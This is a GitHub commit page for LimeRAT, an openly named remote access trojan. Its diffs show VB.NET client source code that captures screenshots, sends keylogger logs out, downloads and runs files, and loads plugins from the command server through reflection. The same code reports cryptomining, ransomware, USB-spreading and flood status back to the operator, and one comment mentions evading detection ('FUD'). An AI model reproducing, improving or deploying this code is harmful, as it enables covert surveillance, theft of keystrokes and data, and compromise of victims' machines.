Skip to content

Commit

Permalink
UPDATE v0.1.8.4
Browse files Browse the repository at this point in the history 
-First stable release
-Update tcpclient class
-Updated "Add to L1"
-Fixed on connet
-Fixed  "L1 Update"
  • Loading branch information
@Nyrotication
Nyrotication committed Sep 18, 2018
1 parent 6afbcae commit 4c1ef6d
Show file tree
Hide file tree
Showing 31 changed files with 546 additions and 335 deletions.
Binary file modified .vs/LimeRAT/DesignTimeBuild/.dtbcache
View file
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/.suo
View file
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide
View file
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm
View file
Binary file not shown.
Binary file modified .vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal
View file
Binary file not shown.
44 changes: 24 additions & 20 deletions Project/Client/C_Commands.vb
View file
Original file line number Diff line number Diff line change
Expand Up @@ -11,14 +11,14 @@
Try
Select Case A(0)

Case "!PSend"
C_Socket._start = True
C_Socket.Send("!PStart")
Case "!PSend" 'Ask client to run timer
C_TcpClient.P_Start = True
C_TcpClient.Send("!PStart")

Case "!P"
C_Socket._stop = True
Case "!P" 'Ask client to stop timer
C_TcpClient.P_Stop = True

Case "!CAP"
Case "!CAP" 'Thumbnail
Try
Dim bounds As Drawing.Rectangle = Windows.Forms.Screen.PrimaryScreen.Bounds
Dim image As New Drawing.Bitmap(Windows.Forms.Screen.PrimaryScreen.Bounds.Width, bounds.Height, Drawing.Imaging.PixelFormat.Format16bppRgb555)
Expand All @@ -30,45 +30,49 @@
Dim G As Drawing.Graphics = Drawing.Graphics.FromImage(THU)
G.DrawImage(image, New Drawing.Rectangle(0, 0, 256, 156), New Drawing.Rectangle(0, 0, image.Width, image.Height), Drawing.GraphicsUnit.Pixel)
THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg)
C_Socket.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
MM.Dispose()
THU.Dispose()
G.Dispose()
image.Dispose()
C_TcpClient.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
Try
MM.Dispose()
THU.Dispose()
G.Dispose()
image.Dispose()
Catch : End Try
Catch ex As Exception
End Try

Case "KL"
C_Socket.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))
C_TcpClient.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp"))

Case "CPL" 'check plugin
Case "CPL" 'check if plugin in installed, or ask server to send it
If GTV(A(1)) = Nothing Then
C_Socket.Send("GPL" + SPL + A(1))
C_TcpClient.Send("GPL" + SPL + A(1))
Else
Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
End If

Case "IPL" 'invo plugin
Case "IPL" 'server send plugin. save it then load it
STV(A(2), A(1))
Plugin(GZip(Convert.FromBase64String(GTV(A(2))), False))

Case "IPLM"
Case "IPLM" 'server send plugin. load it without saving it.
Plugin(GZip(Convert.FromBase64String(A(1)), False), A(2))
End Select
Catch ex As Exception
C_Socket.Send("MSG" + SPL + "Error! " + ex.Message)
C_TcpClient.Send("MSG" + SPL + "Error! " + ex.Message)
End Try

End Sub

'I can change this method with better one but I have to re-write plugins method name.
'Also if you update this method you have to use old LimeRAT to update your clients.
Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing)
Try
C_Socket.Send("OK")
C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName)

For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes
For Each GM In Type_.GetMethods
If GM.Name = "CN" Then
GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.ENDOF, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_TcpClient.ENDOF, C_TcpClient.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)})
ElseIf GM.Name = "MISC" Then
GM.Invoke(Nothing, New Object() {C_ID.HWID, CMD})
ElseIf GM.Name = "CL" Then
Expand All @@ -77,7 +81,7 @@
Next
Next
Catch ex As Exception
C_Socket.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message)
End Try
End Sub

Expand Down
7 changes: 7 additions & 0 deletions Project/Client/C_Downloader.vb
View file
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,13 @@
Diagnostics.Process.Start(file)
End If
End If

Try
WC.Dispose()
WC = Nothing
Catch ex As Exception
End Try

Catch ex As Exception
C_Main.C.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem
End Try
Expand Down
17 changes: 15 additions & 2 deletions Project/Client/C_ID.vb
View file
Original file line number Diff line number Diff line change
Expand Up @@ -169,13 +169,13 @@
Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get
For Each retObject As Management.ManagementObject In retObjectCollection
If retObject("CommandLine").ToString.Contains("--donate-level=") Then
Return "Minning"
Return "Minning..."
End If
Next
Catch ex As Exception
End Try
Else
Return "Idle"
Return CPU()
End If
Catch ex As Exception
End Try
Expand All @@ -193,6 +193,19 @@
End Try
End Function

Public Shared Function CPU() As String
Try
Dim P As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""")
P.Get()
If P("Name").ToString.Contains("Intel") Then
Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "")
End If
Return P("Name").ToString
Catch ex As Exception
Return "Err > Idle"
End Try

End Function
End Class

End Namespace
26 changes: 13 additions & 13 deletions Project/Client/C_Main.vb
View file
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
'##################################################################
'## N Y A N C A T ||| Updated on Sept/14/2018 ##
'## N Y A N C A T ||| Updated on Sept/17/2018 ##
'##################################################################
'## ##
'## ##
Expand Down Expand Up @@ -36,7 +36,7 @@
Namespace Lime

Public Class C_Main
Public Shared C As New C_Socket
Public Shared C As New C_TcpClient
Public Shared SPL = C_Settings.SPL


Expand Down Expand Up @@ -66,7 +66,7 @@ Namespace Lime

Call C_Installation.INS()

C_Socket.T1.Start()
C_TcpClient.T1.Start()

#Region "Plugins Threads"

Expand Down Expand Up @@ -119,14 +119,14 @@ Namespace Lime
While True

1:
If C.CNT = True Then
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(3000)
'Compare old string with new string

Try
If OldRans <> GTV("Rans-Status") Then
OldRans = GTV("Rans-Status")
C.Send("!R" & SPL & OldRans)
C.Send("!R" & SPL & OldRans + SPL + C_ID.HWID + SPL + C_ID.UserName)
End If
Catch ex As Exception

Expand All @@ -136,25 +136,25 @@ Namespace Lime
If C_Settings.USB Then
If OldUSB <> GTV("USB").ToString Then
OldUSB = GTV("USB")
C.Send("!SP" & SPL & OldUSB)
End If
C.Send("!SP" & SPL & OldUSB + SPL + C_ID.HWID + SPL + C_ID.UserName)
End If
End If
Catch ex As Exception
End Try

Try
If OldXMR <> C_ID.XMR Then
OldXMR = C_ID.XMR
C.Send("!X" & SPL & OldXMR)
C.Send("!X" & SPL & OldXMR + SPL + C_ID.HWID + SPL + C_ID.UserName)
End If
Catch ex As Exception
End Try

Try
If OldFLD <> GTV("Flood").ToString Then
OldFLD = GTV("Flood")
C.Send("MSG" & SPL & "Flood! " & OldFLD)
OldFLD = ""
C.Send("MSG" & SPL & "Flood! " & OldFLD + SPL + C_ID.HWID + SPL + C_ID.UserName)
OldFLD = ""
STV("Flood", "")
End If
Catch ex As Exception
Expand All @@ -172,7 +172,7 @@ Namespace Lime
Try
If GTV("_USB") = Nothing Then
While True
If C.CNT = True Then
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(9000)
C.Send("PLUSB")
Exit While
Expand All @@ -191,7 +191,7 @@ Namespace Lime
Try
If GTV("_PIN") = Nothing Then
While True
If C.CNT = True Then
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(11000)
C.Send("PLPIN")
Exit While
Expand All @@ -211,7 +211,7 @@ Namespace Lime
Try
If GTV("_KLG") = Nothing Then
While True
If C.CNT = True Then
If C.Alive = True Then
Threading.Thread.CurrentThread.Sleep(11000)
C.Send("PLKLG")
Exit While
Expand Down
135 changes: 0 additions & 135 deletions Project/Client/C_Socket.vb
View file

This file was deleted.

Loading

0 comments on commit 4c1ef6d

Please sign in to comment.